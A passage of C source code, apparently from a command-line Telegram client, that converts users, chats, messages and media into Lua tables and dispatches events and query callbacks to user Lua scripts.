lua_add_string_field ("last_name", P->user.last_name); 112 | lua_add_string_field ("real_first_name", P->user.real_first_name); 113 | lua_add_string_field ("real_last_name", P->user.real_last_name); 114 | lua_add_string_field ("phone", P->user.phone); 115 | lua_add_string_field ("username", P->user.username); 116 | if (P->user.access_hash) { 117 | lua_add_num_field ("access_hash", 1); 118 | } 119 | } 120 | 121 | void push_chat (tgl_peer_t *P) { 122 | my_lua_checkstack (luaState, 4); 123 | assert (P->chat.title); 124 | lua_add_string_field ("title", P->chat.title); 125 | lua_add_num_field ("members_num", P->chat.users_num); 126 | if (P->chat.user_list) { 127 | lua_pushstring (luaState, "members"); 128 | lua_newtable (luaState); 129 | int i; 130 | for (i = 0; i < P->chat.users_num; i++) { 131 | lua_pushnumber (luaState, i); 132 | tgl_peer_id_t id = TGL_MK_USER (P->chat.user_list[i].user_id); 133 | push_peer (id, tgl_peer_get (TLS, id)); 134 | lua_settable (luaState, -3); 135 | } 136 | lua_settable (luaState, -3); 137 | } 138 | } 139 | 140 | void push_encr_chat (tgl_peer_t *P) { 141 | my_lua_checkstack (luaState, 4); 142 | lua_pushstring (luaState, "user"); 143 | push_peer (TGL_MK_USER (P->encr_chat.user_id), tgl_peer_get (TLS, TGL_MK_USER (P->encr_chat.user_id))); 144 | lua_settable (luaState, -3); 145 | } 146 | 147 | void push_update_types (unsigned flags) { 148 | my_lua_checkstack (luaState, 4); 149 | lua_newtable (luaState); 150 | int cc = 0; 151 | 152 | 153 | if (flags & TGL_UPDATE_CREATED) { 154 | lua_add_string_field_arr (cc++, "created"); 155 | } 156 | if (flags & TGL_UPDATE_DELETED) { 157 | lua_add_string_field_arr (cc++, "deleted"); 158 | } 159 | if (flags & TGL_UPDATE_PHONE) { 160 | lua_add_string_field_arr (cc++, "phone"); 161 | } 162 | if (flags & TGL_UPDATE_CONTACT) { 163 | lua_add_string_field_arr (cc++, "contact"); 164 | } 165 | if (flags & TGL_UPDATE_PHOTO) { 166 | lua_add_string_field_arr (cc++, "photo"); 167 | } 168 | if (flags & TGL_UPDATE_BLOCKED) { 169 | lua_add_string_field_arr (cc++, "blocked"); 170 | } 171 | if (flags & TGL_UPDATE_REAL_NAME) { 172 | lua_add_string_field_arr (cc++, "real_name"); 173 | } 174 | if (flags & TGL_UPDATE_NAME) { 175 | lua_add_string_field_arr (cc++, "name"); 176 | } 177 | if (flags & TGL_UPDATE_REQUESTED) { 178 | lua_add_string_field_arr (cc++, "requested"); 179 | } 180 | if (flags & TGL_UPDATE_WORKING) { 181 | lua_add_string_field_arr (cc++, "working"); 182 | } 183 | if (flags & TGL_UPDATE_FLAGS) { 184 | lua_add_string_field_arr (cc++, "flags"); 185 | } 186 | if (flags & TGL_UPDATE_TITLE) { 187 | lua_add_string_field_arr (cc++, "title"); 188 | } 189 | if (flags & TGL_UPDATE_ADMIN) { 190 | lua_add_string_field_arr (cc++, "admin"); 191 | } 192 | if (flags & TGL_UPDATE_MEMBERS) { 193 | lua_add_string_field_arr (cc++, "members"); 194 | } 195 | if (flags & TGL_UPDATE_ACCESS_HASH) { 196 | lua_add_string_field_arr (cc++, "access_hash"); 197 | } 198 | if (flags & TGL_UPDATE_USERNAME) { 199 | lua_add_string_field_arr (cc++, "username"); 200 | } 201 | 202 | } 203 | 204 | void push_peer (tgl_peer_id_t id, tgl_peer_t *P) { 205 | lua_newtable (luaState); 206 | 207 | lua_add_num_field ("id", tgl_get_peer_id (id)); 208 | lua_pushstring (luaState, "type"); 209 | push_tgl_peer_type (tgl_get_peer_type (id)); 210 | lua_settable (luaState, -3); 211 | 212 | 213 | if (!P || !(P->flags & TGLPF_CREATED)) { 214 | lua_pushstring (luaState, "print_name"); 215 | static char s[100]; 216 | switch (tgl_get_peer_type (id)) { 217 | case TGL_PEER_USER: 218 | sprintf (s, "user#%d", tgl_get_peer_id (id)); 219 | break; 220 | case TGL_PEER_CHAT: 221 | sprintf (s, "chat#%d", tgl_get_peer_id (id)); 222 | break; 223 | case TGL_PEER_ENCR_CHAT: 224 | sprintf (s, "encr_chat#%d", tgl_get_peer_id (id)); 225 | break; 226 | default: 227 | assert (0); 228 | } 229 | lua_pushstring (luaState, s); 230 | lua_settable (luaState, -3); // flags 231 | 232 | return; 233 | } 234 | 235 | lua_add_string_field ("print_name", P->print_name); 236 | lua_add_num_field ("flags", P->flags); 237 | 238 | switch (tgl_get_peer_type (id)) { 239 | case TGL_PEER_USER: 240 | push_user (P); 241 | break; 242 | case TGL_PEER_CHAT: 243 | push_chat (P); 244 | break; 245 | case TGL_PEER_ENCR_CHAT: 246 | push_encr_chat (P); 247 | break; 248 | default: 249 | assert (0); 250 | } 251 | } 252 | 253 | void push_media (struct tgl_message_media *M) { 254 | my_lua_checkstack (luaState, 4); 255 | 256 | switch (M->type) { 257 | case tgl_message_media_photo: 258 | lua_newtable (luaState); 259 | lua_add_string_field ("type", "photo"); 260 | lua_add_string_field ("caption", M->caption); 261 | break; 262 | case tgl_message_media_document: 263 | case tgl_message_media_document_encr: 264 | lua_newtable (luaState); 265 | lua_add_string_field ("type", "document"); 266 | lua_add_string_field ("caption", M->document->caption); 267 | break; 268 | case tgl_message_media_unsupported: 269 | lua_newtable (luaState); 270 | lua_add_string_field ("type", "unsupported"); 271 | break; 272 | case tgl_message_media_geo: 273 | lua_newtable (luaState); 274 | lua_add_string_field ("type", "geo"); 275 | lua_add_num_field ("longitude", M->geo.longitude); 276 | lua_add_num_field ("latitude", M->geo.latitude); 277 | break; 278 | case tgl_message_media_contact: 279 | lua_newtable (luaState); 280 | lua_add_string_field ("type", "contact"); 281 | lua_add_string_field ("phone", M->phone); 282 | lua_add_string_field ("first_name", M->first_name); 283 | lua_add_string_field ("last_name", M->last_name); 284 | lua_add_num_field ("user_id", M->user_id); 285 | break; 286 | case tgl_message_media_webpage: 287 | lua_newtable (luaState); 288 | lua_add_string_field ("type", "webpage"); 289 | lua_add_string_field ("url", M->webpage->url); 290 | lua_add_string_field ("title", M->webpage->title); 291 | lua_add_string_field ("description", M->webpage->description); 292 | lua_add_string_field ("author", M->webpage->author); 293 | break; 294 | case tgl_message_media_venue: 295 | lua_newtable (luaState); 296 | lua_add_string_field ("type", "venue"); 297 | lua_add_num_field ("longitude", M->venue.geo.longitude); 298 | lua_add_num_field ("latitude", M->venue.geo.latitude); 299 | lua_add_string_field ("title", M->venue.title); 300 | lua_add_string_field ("address", M->venue.address); 301 | lua_add_string_field ("provider", M->venue.provider); 302 | lua_add_string_field ("venue_id", M->venue.venue_id); 303 | break; 304 | default: 305 | lua_pushstring (luaState, "???"); 306 | } 307 | } 308 | 309 | void push_service (struct tgl_message *M) { 310 | my_lua_checkstack (luaState, 4); 311 | switch (M->action.type) { 312 | case tgl_message_action_geo_chat_create: 313 | lua_newtable (luaState); 314 | lua_add_string_field ("type", "geo_created"); 315 | break; 316 | case tgl_message_action_geo_chat_checkin: 317 | lua_newtable (luaState); 318 | lua_add_string_field ("type", "geo_checkin"); 319 | break; 320 | case tgl_message_action_chat_create: 321 | lua_newtable (luaState); 322 | lua_add_string_field ("type", "chat_created"); 323 | lua_add_string_field ("title", M->action.title); 324 | break; 325 | case tgl_message_action_chat_edit_title: 326 | lua_newtable (luaState); 327 | lua_add_string_field ("type", "chat_rename"); 328 | lua_add_string_field ("title", M->action.title); 329 | break; 330 | case tgl_message_action_chat_edit_photo: 331 | lua_newtable (luaState); 332 | lua_add_string_field ("type", "chat_change_photo"); 333 | break; 334 | case tgl_message_action_chat_delete_photo: 335 | lua_newtable (luaState); 336 | lua_add_string_field ("type", "chat_delete_photo"); 337 | break; 338 | case tgl_message_action_chat_add_user: 339 | lua_newtable (luaState); 340 | lua_add_string_field ("type", "chat_add_user"); 341 | 342 | lua_pushstring (luaState, "user"); 343 | push_peer (tgl_set_peer_id (TGL_PEER_USER, M->action.user), tgl_peer_get (TLS, tgl_set_peer_id (TGL_PEER_USER, M->action.user))); 344 | lua_settable (luaState, -3); 345 | break; 346 | case tgl_message_action_chat_add_user_by_link: 347 | lua_newtable (luaState); 348 | lua_add_string_field ("type", "chat_add_user_link"); 349 | 350 | lua_pushstring (luaState, "link_issuer"); 351 | push_peer (tgl_set_peer_id (TGL_PEER_USER, M->action.user), tgl_peer_get (TLS, tgl_set_peer_id (TGL_PEER_USER, M->action.user))); 352 | lua_settable (luaState, -3); 353 | break; 354 | case tgl_message_action_chat_delete_user: 355 | lua_newtable (luaState); 356 | lua_add_string_field ("type", "chat_del_user"); 357 | 358 | lua_pushstring (luaState, "user"); 359 | push_peer (tgl_set_peer_id (TGL_PEER_USER, M->action.user), tgl_peer_get (TLS, tgl_set_peer_id (TGL_PEER_USER, M->action.user))); 360 | lua_settable (luaState, -3); 361 | break; 362 | case tgl_message_action_set_message_ttl: 363 | lua_newtable (luaState); 364 | lua_add_string_field ("type", "set_ttl"); 365 | lua_add_num_field ("ttl", M->action.ttl); 366 | break; 367 | case tgl_message_action_read_messages: 368 | lua_newtable (luaState); 369 | lua_add_string_field ("type", "read"); 370 | lua_add_num_field ("count", M->action.read_cnt); 371 | break; 372 | case tgl_message_action_delete_messages: 373 | lua_newtable (luaState); 374 | lua_add_string_field ("type", "delete"); 375 | lua_add_num_field ("count", M->action.delete_cnt); 376 | break; 377 | case tgl_message_action_screenshot_messages: 378 | lua_newtable (luaState); 379 | lua_add_string_field ("type", "screenshot"); 380 | lua_add_num_field ("count", M->action.screenshot_cnt); 381 | break; 382 | case tgl_message_action_flush_history: 383 | lua_newtable (luaState); 384 | lua_add_string_field ("type", "flush"); 385 | break; 386 | case tgl_message_action_resend: 387 | lua_newtable (luaState); 388 | lua_add_string_field ("type", "resend"); 389 | break; 390 | case tgl_message_action_notify_layer: 391 | lua_newtable (luaState); 392 | lua_add_string_field ("type", "set_layer"); 393 | lua_add_num_field ("layer", M->action.layer); 394 | break; 395 | case tgl_message_action_typing: 396 | lua_newtable (luaState); 397 | lua_add_string_field ("type", "typing"); 398 | break; 399 | case tgl_message_action_noop: 400 | lua_newtable (luaState); 401 | lua_add_string_field ("type", "nop"); 402 | break; 403 | case tgl_message_action_request_key: 404 | lua_newtable (luaState); 405 | lua_add_string_field ("type", "request_rekey"); 406 | break; 407 | case tgl_message_action_accept_key: 408 | lua_newtable (luaState); 409 | lua_add_string_field ("type", "accept_rekey"); 410 | break; 411 | case tgl_message_action_commit_key: 412 | lua_newtable (luaState); 413 | lua_add_string_field ("type", "commit_rekey"); 414 | break; 415 | case tgl_message_action_abort_key: 416 | lua_newtable (luaState); 417 | lua_add_string_field ("type", "abort_rekey"); 418 | break; 419 | default: 420 | lua_pushstring (luaState, "???"); 421 | break; 422 | } 423 | } 424 | 425 | void push_message (struct tgl_message *M) { 426 | assert (M); 427 | my_lua_checkstack (luaState, 10); 428 | lua_newtable (luaState); 429 | 430 | static char s[30]; 431 | snprintf (s, 30, "%lld", M->id); 432 | lua_add_string_field ("id", s); 433 | if (!(M->flags & TGLMF_CREATED)) { return; } 434 | lua_add_num_field ("flags", M->flags); 435 | 436 | if (tgl_get_peer_type (M->fwd_from_id)) { 437 | lua_pushstring (luaState, "fwd_from"); 438 | push_peer (M->fwd_from_id, tgl_peer_get (TLS, M->fwd_from_id)); 439 | lua_settable (luaState, -3); // fwd_from 440 | 441 | lua_add_num_field ("fwd_date", M->fwd_date); 442 | } 443 | 444 | if (M->reply_id) { 445 | lua_add_num_field ("reply_id", M->reply_id); 446 | } 447 | 448 | if (M->flags & TGLMF_MENTION) { 449 | lua_pushstring (luaState, "mention"); 450 | lua_pushboolean (luaState, 1); 451 | lua_settable (luaState, -3); 452 | } 453 | 454 | lua_pushstring (luaState, "from"); 455 | push_peer (M->from_id, tgl_peer_get (TLS, M->from_id)); 456 | lua_settable (luaState, -3); 457 | 458 | lua_pushstring (luaState, "to"); 459 | push_peer (M->to_id, tgl_peer_get (TLS, M->to_id)); 460 | lua_settable (luaState, -3); 461 | 462 | lua_pushstring (luaState, "out"); 463 | lua_pushboolean (luaState, (M->flags & TGLMF_OUT) != 0); 464 | lua_settable (luaState, -3); 465 | 466 | lua_pushstring (luaState, "unread"); 467 | lua_pushboolean (luaState, (M->flags & TGLMF_UNREAD) != 0); 468 | lua_settable (luaState, -3); 469 | 470 | lua_pushstring (luaState, "date"); 471 | lua_pushnumber (luaState, M->date); 472 | lua_settable (luaState, -3); 473 | 474 | lua_pushstring (luaState, "service"); 475 | lua_pushboolean (luaState, (M->flags & TGLMF_SERVICE) != 0); 476 | lua_settable (luaState, -3); 477 | 478 | if (!(M->flags & TGLMF_SERVICE)) { 479 | if (M->message_len && M->message) { 480 | lua_pushstring (luaState, "text"); 481 | lua_pushlstring (luaState, M->message, M->message_len); 482 | lua_settable (luaState, -3); 483 | } 484 | if (M->media.type && M->media.type != tgl_message_media_none) { 485 | lua_pushstring (luaState, "media"); 486 | push_media (&M->media); 487 | lua_settable (luaState, -3); 488 | } 489 | } else { 490 | lua_pushstring (luaState, "action"); 491 | push_service (M); 492 | lua_settable (luaState, -3); 493 | } 494 | } 495 | 496 | void lua_binlog_end (void) { 497 | if (!have_file) { return; } 498 | lua_settop (luaState, 0); 499 | //lua_checkstack (luaState, 20); 500 | my_lua_checkstack (luaState, 20); 501 | lua_getglobal (luaState, "on_binlog_replay_end"); 502 | assert (lua_gettop (luaState) == 1); 503 | 504 | int r = ps_lua_pcall (luaState, 0, 0, 0); 505 | if (r) { 506 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 507 | } 508 | } 509 | 510 | void lua_diff_end (void) { 511 | if (!have_file) { return; } 512 | lua_settop (luaState, 0); 513 | //lua_checkstack (luaState, 20); 514 | my_lua_checkstack (luaState, 20); 515 | lua_getglobal (luaState, "on_get_difference_end"); 516 | assert (lua_gettop (luaState) == 1); 517 | 518 | int r = ps_lua_pcall (luaState, 0, 0, 0); 519 | if (r) { 520 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 521 | } 522 | } 523 | 524 | void lua_our_id (int id) { 525 | if (!have_file) { return; } 526 | lua_settop (luaState, 0); 527 | //lua_checkstack (luaState, 20); 528 | my_lua_checkstack (luaState, 20); 529 | lua_getglobal (luaState, "on_our_id"); 530 | lua_pushnumber (luaState, id); 531 | assert (lua_gettop (luaState) == 2); 532 | 533 | int r = ps_lua_pcall (luaState, 1, 0, 0); 534 | if (r) { 535 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 536 | } 537 | } 538 | 539 | void lua_new_msg (struct tgl_message *M) { 540 | if (!have_file) { return; } 541 | lua_settop (luaState, 0); 542 | //lua_checkstack (luaState, 20); 543 | my_lua_checkstack (luaState, 20); 544 | lua_getglobal (luaState, "on_msg_receive"); 545 | push_message (M); 546 | assert (lua_gettop (luaState) == 2); 547 | 548 | int r = ps_lua_pcall (luaState, 1, 0, 0); 549 | if (r) { 550 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 551 | } 552 | } 553 | 554 | void lua_secret_chat_update (struct tgl_secret_chat *C, unsigned flags) { 555 | if (!have_file) { return; } 556 | lua_settop (luaState, 0); 557 | //lua_checkstack (luaState, 20); 558 | my_lua_checkstack (luaState, 20); 559 | lua_getglobal (luaState, "on_secret_chat_update"); 560 | push_peer (C->id, (void *)C); 561 | push_update_types (flags); 562 | assert (lua_gettop (luaState) == 3); 563 | 564 | int r = ps_lua_pcall (luaState, 2, 0, 0); 565 | if (r) { 566 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 567 | } 568 | } 569 | 570 | void lua_user_update (struct tgl_user *U, unsigned flags) { 571 | if (!have_file) { return; } 572 | lua_settop (luaState, 0); 573 | //lua_checkstack (luaState, 20); 574 | my_lua_checkstack (luaState, 20); 575 | lua_getglobal (luaState, "on_user_update"); 576 | push_peer (U->id, (void *)U); 577 | push_update_types (flags); 578 | assert (lua_gettop (luaState) == 3); 579 | 580 | int r = ps_lua_pcall (luaState, 2, 0, 0); 581 | if (r) { 582 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 583 | } 584 | } 585 | 586 | void lua_chat_update (struct tgl_chat *C, unsigned flags) { 587 | if (!have_file) { return; } 588 | lua_settop (luaState, 0); 589 | //lua_checkstack (luaState, 20); 590 | my_lua_checkstack (luaState, 20); 591 | lua_getglobal (luaState, "on_chat_update"); 592 | push_peer (C->id, (void *)C); 593 | push_update_types (flags); 594 | assert (lua_gettop (luaState) == 3); 595 | 596 | int r = ps_lua_pcall (luaState, 2, 0, 0); 597 | if (r) { 598 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 599 | } 600 | } 601 | 602 | //extern tgl_peer_t *Peers[]; 603 | //extern int peer_num; 604 | 605 | #define MAX_LUA_COMMANDS 1000 606 | void *lua_ptr[MAX_LUA_COMMANDS]; 607 | static int pos; 608 | 609 | static inline tgl_peer_t *get_peer (const char *s) { 610 | return tgl_peer_get_by_name (TLS, s); 611 | } 612 | 613 | enum lua_query_type { 614 | lq_contact_list, 615 | lq_dialog_list, 616 | lq_msg, 617 | lq_send_typing, 618 | lq_send_typing_abort, 619 | lq_rename_chat, 620 | lq_send_photo, 621 | lq_chat_set_photo, 622 | lq_set_profile_photo, 623 | lq_set_profile_name, 624 | lq_send_video, 625 | lq_send_text, 626 | lq_fwd, 627 | lq_fwd_media, 628 | lq_load_photo, 629 | lq_load_video_thumb, 630 | lq_load_video, 631 | lq_chat_info, 632 | lq_user_info, 633 | lq_history, 634 | lq_chat_add_user, 635 | lq_chat_del_user, 636 | lq_add_contact, 637 | lq_del_contact, 638 | lq_rename_contact, 639 | lq_search, 640 | lq_global_search, 641 | lq_mark_read, 642 | lq_create_secret_chat, 643 | lq_create_group_chat, 644 | lq_send_audio, 645 | lq_send_document, 646 | lq_send_file, 647 | lq_load_audio, 648 | lq_load_document, 649 | lq_res_user, 650 | lq_load_document_thumb, 651 | lq_delete_msg, 652 | lq_restore_msg, 653 | lq_accept_secret_chat, 654 | lq_send_contact, 655 | lq_status_online, 656 | lq_status_offline, 657 | lq_send_location, 658 | lq_extf, 659 | lq_import_chat_link, 660 | lq_export_chat_link, 661 | lq_block_user, 662 | lq_get_message 663 | }; 664 | 665 | struct lua_query_extra { 666 | int func; 667 | int param; 668 | }; 669 | 670 | void lua_empty_cb (struct tgl_state *TLSR, void *cb_extra, int success) { 671 | assert (TLSR == TLS); 672 | struct lua_query_extra *cb = cb_extra; 673 | lua_settop (luaState, 0); 674 | //lua_checkstack (luaState, 20); 675 | my_lua_checkstack (luaState, 20); 676 | 677 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 678 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 679 | 680 | lua_pushnumber (luaState, success); 681 | 682 | assert (lua_gettop (luaState) == 3); 683 | 684 | int r = ps_lua_pcall (luaState, 2, 0, 0); 685 | 686 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 687 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 688 | 689 | if (r) { 690 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 691 | } 692 | 693 | free (cb); 694 | } 695 | 696 | void lua_contact_list_cb (struct tgl_state *TLSR, void *cb_extra, int success, int num, struct tgl_user **UL) { 697 | assert (TLSR == TLS); 698 | struct lua_query_extra *cb = cb_extra; 699 | lua_settop (luaState, 0); 700 | //lua_checkstack (luaState, 20); 701 | my_lua_checkstack (luaState, 20); 702 | 703 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 704 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 705 | 706 | lua_pushnumber (luaState, success); 707 | 708 | if (success) { 709 | lua_newtable (luaState); 710 | int i; 711 | for (i = 0; i < num; i++) { 712 | lua_pushnumber (luaState, i); 713 | push_peer (UL[i]->id, (void *)UL[i]); 714 | lua_settable (luaState, -3); 715 | } 716 | } else { 717 | lua_pushboolean (luaState, 0); 718 | } 719 | 720 | assert (lua_gettop (luaState) == 4); 721 | 722 | int r = ps_lua_pcall (luaState, 3, 0, 0); 723 | 724 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 725 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 726 | 727 | if (r) { 728 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 729 | } 730 | 731 | free (cb); 732 | } 733 | 734 | void lua_dialog_list_cb (struct tgl_state *TLSR, void *cb_extra, int success, int num, tgl_peer_id_t peers[], int msgs[], int unread[]) { 735 | assert (TLSR == TLS); 736 | struct lua_query_extra *cb = cb_extra; 737 | lua_settop (luaState, 0); 738 | //lua_checkstack (luaState, 20); 739 | my_lua_checkstack (luaState, 20); 740 | 741 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 742 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 743 | 744 | lua_pushnumber (luaState, success); 745 | if (success) { 746 | lua_newtable (luaState); 747 | int i; 748 | for (i = 0; i < num; i++) { 749 | lua_pushnumber (luaState, i); 750 | 751 | lua_newtable (luaState); 752 | 753 | lua_pushstring (luaState, "peer"); 754 | push_peer (peers[i], tgl_peer_get (TLS, peers[i])); 755 | lua_settable (luaState, -3); 756 | 757 | struct tgl_message *M = tgl_message_get (TLS, msgs[i]); 758 | if (M && (M->flags & TGLMF_CREATED)) { 759 | lua_pushstring (luaState, "message"); 760 | push_message (M); 761 | lua_settable (luaState, -3); 762 | } 763 | 764 | lua_pushstring (luaState, "unread"); 765 | lua_pushnumber (luaState, unread[i]); 766 | lua_settable (luaState, -3); 767 | 768 | lua_settable (luaState, -3); 769 | } 770 | } else { 771 | lua_pushboolean (luaState, 0); 772 | } 773 | assert (lua_gettop (luaState) == 4); 774 | 775 | 776 | int r = ps_lua_pcall (luaState, 3, 0, 0); 777 | 778 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 779 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 780 | 781 | if (r) { 782 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 783 | } 784 | 785 | free (cb); 786 | } 787 | 788 | void lua_msg_cb (struct tgl_state *TLSR, void *cb_extra, int success, struct tgl_message *M) { 789 | assert (TLSR == TLS); 790 | struct lua_query_extra *cb = cb_extra; 791 | lua_settop (luaState, 0); 792 | //lua_checkstack (luaState, 20); 793 | my_lua_checkstack (luaState, 20); 794 | 795 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 796 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 797 | 798 | lua_pushnumber (luaState, success); 799 | 800 | if (success && M && (M->flags & TGLMF_CREATED)) { 801 | push_message (M); 802 | } else { 803 | lua_pushboolean (luaState, 0); 804 | } 805 | 806 | assert (lua_gettop (luaState) == 4); 807 | 808 | int r = ps_lua_pcall (luaState, 3, 0, 0); 809 | 810 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 811 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 812 | 813 | if (r) { 814 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 815 | } 816 | 817 | free (cb); 818 | } 819 | 820 | void lua_msg_list_cb (struct tgl_state *TLSR, void *cb_extra, int success, int num, struct tgl_message *M[]) { 821 | assert (TLSR == TLS); 822 | struct lua_query_extra *cb = cb_extra; 823 | lua_settop (luaState, 0); 824 | //lua_checkstack (luaState, 20); 825 | my_lua_checkstack (luaState, 20); 826 | 827 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 828 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 829 | 830 | lua_pushnumber (luaState, success); 831 | 832 | if (success) { 833 | lua_newtable (luaState); 834 | int i; 835 | for (i = 0; i < num; i++) { 836 | lua_pushnumber (luaState, i); 837 | push_message (M[i]); 838 | lua_settable (luaState, -3); 839 | } 840 | } else { 841 | lua_pushboolean (luaState, 0); 842 | } 843 | 844 | assert (lua_gettop (luaState) == 4); 845 | 846 | int r = ps_lua_pcall (luaState, 3, 0, 0); 847 | 848 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 849 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 850 | 851 | if (r) { 852 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 853 | } 854 | 855 | free (cb); 856 | } 857 | 858 | void lua_file_cb (struct tgl_state *TLSR, void *cb_extra, int success, const char *file_name) { 859 | assert (TLSR == TLS); 860 | struct lua_query_extra *cb = cb_extra; 861 | lua_settop (luaState, 0); 862 | //lua_checkstack (luaState, 20); 863 | my_lua_checkstack (luaState, 20); 864 | 865 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 866 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 867 | 868 | lua_pushnumber (luaState, success); 869 | 870 | if (success) { 871 | lua_pushstring (luaState, file_name); 872 | } else { 873 | lua_pushboolean (luaState, 0); 874 | } 875 | 876 | assert (lua_gettop (luaState) == 4); 877 | 878 | int r = ps_lua_pcall (luaState, 3, 0, 0); 879 | 880 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 881 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 882 | 883 | if (r) { 884 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 885 | } 886 | 887 | free (cb); 888 | } 889 | 890 | void lua_chat_cb (struct tgl_state *TLSR, void *cb_extra, int success, struct tgl_chat *C) { 891 | assert (TLSR == TLS); 892 | struct lua_query_extra *cb = cb_extra; 893 | lua_settop (luaState, 0); 894 | //lua_checkstack (luaState, 20); 895 | my_lua_checkstack (luaState, 20); 896 | 897 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 898 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 899 | 900 | lua_pushnumber (luaState, success); 901 | 902 | if (success) { 903 | push_peer (C->id, (void *)C); 904 | } else { 905 | lua_pushboolean (luaState, 0); 906 | } 907 | 908 | assert (lua_gettop (luaState) == 4); 909 | 910 | int r = ps_lua_pcall (luaState, 3, 0, 0); 911 | 912 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 913 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 914 | 915 | if (r) { 916 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 917 | } 918 | 919 | free (cb); 920 | } 921 | 922 | void lua_link_cb (struct tgl_state *TLSR, void *cb_extra, int success, const char *link) { 923 | assert (TLSR == TLS); 924 | struct lua_query_extra *cb = cb_extra; 925 | lua_settop (luaState, 0); 926 | //lua_checkstack (luaState, 20); 927 | my_lua_checkstack (luaState, 20); 928 | 929 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 930 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 931 | 932 | lua_pushnumber (luaState, success); 933 | 934 | if (success) { 935 | lua_pushstring (luaState, link); 936 | } else { 937 | lua_pushboolean (luaState, 0); 938 | } 939 | 940 | assert (lua_gettop (luaState) == 4); 941 | 942 | int r = ps_lua_pcall (luaState, 3, 0, 0); 943 | 944 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 945 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 946 | 947 | if (r) { 948 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 949 | } 950 | 951 | free (cb); 952 | } 953 | 954 | 955 | 956 | void lua_secret_chat_cb (struct tgl_state *TLSR, void *cb_extra, int success, struct tgl_secret_chat *C) { 957 | assert (TLSR == TLS); 958 | struct lua_query_extra *cb = cb_extra; 959 | lua_settop (luaState, 0); 960 | //lua_checkstack (luaState, 20); 961 | my_lua_checkstack (luaState, 20); 962 | 963 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 964 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 965 | 966 | lua_pushnumber (luaState, success); 967 | 968 | if (success) { 969 | push_peer (C->id, (void *)C); 970 | } else { 971 | lua_pushboolean (luaState, 0); 972 | } 973 | 974 | assert (lua_gettop (luaState) == 4); 975 | 976 | int r = ps_lua_pcall (luaState, 3, 0, 0); 977 | 978 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 979 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 980 | 981 | if (r) { 982 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 983 | } 984 | 985 | free (cb); 986 | } 987 | 988 | void lua_user_cb (struct tgl_state *TLSR, void *cb_extra, int success, struct tgl_user *C) { 989 | assert (TLSR == TLS); 990 | struct lua_query_extra *cb = cb_extra; 991 | lua_settop (luaState, 0); 992 | //lua_checkstack (luaState, 20); 993 | my_lua_checkstack (luaState, 20); 994 | 995 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->func); 996 | lua_rawgeti (luaState, LUA_REGISTRYINDEX, cb->param); 997 | 998 | lua_pushnumber (luaState, success); 999 | 1000 | if (success) { 1001 | push_peer (C->id, (void *)C); 1002 | } else { 1003 | lua_pushboolean (luaState, 0); 1004 | } 1005 | 1006 | assert (lua_gettop (luaState) == 4); 1007 | 1008 | int r = ps_lua_pcall (luaState, 3, 0, 0); 1009 | 1010 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->func); 1011 | luaL_unref (luaState, LUA_REGISTRYINDEX, cb->param); 1012 | 1013 | if (r) { 1014 | logprintf ("lua: %s\n", lua_tostring (luaState, -1)); 1015 | } 1016 | 1017 | free (cb); 1018 | } 1019 | 1020 | void lua_str_cb (struct tgl_state *TLSR, void *cb_extra, int success, const char *data) { 1021 | assert (TLSR == TLS); 1022 | struct lua_query_extra *cb = cb_extra; 1023 | lua_settop (luaState, 0); 1024 | //lua_checkstack (luaState, 20); 1025 | my_lua_checkstack 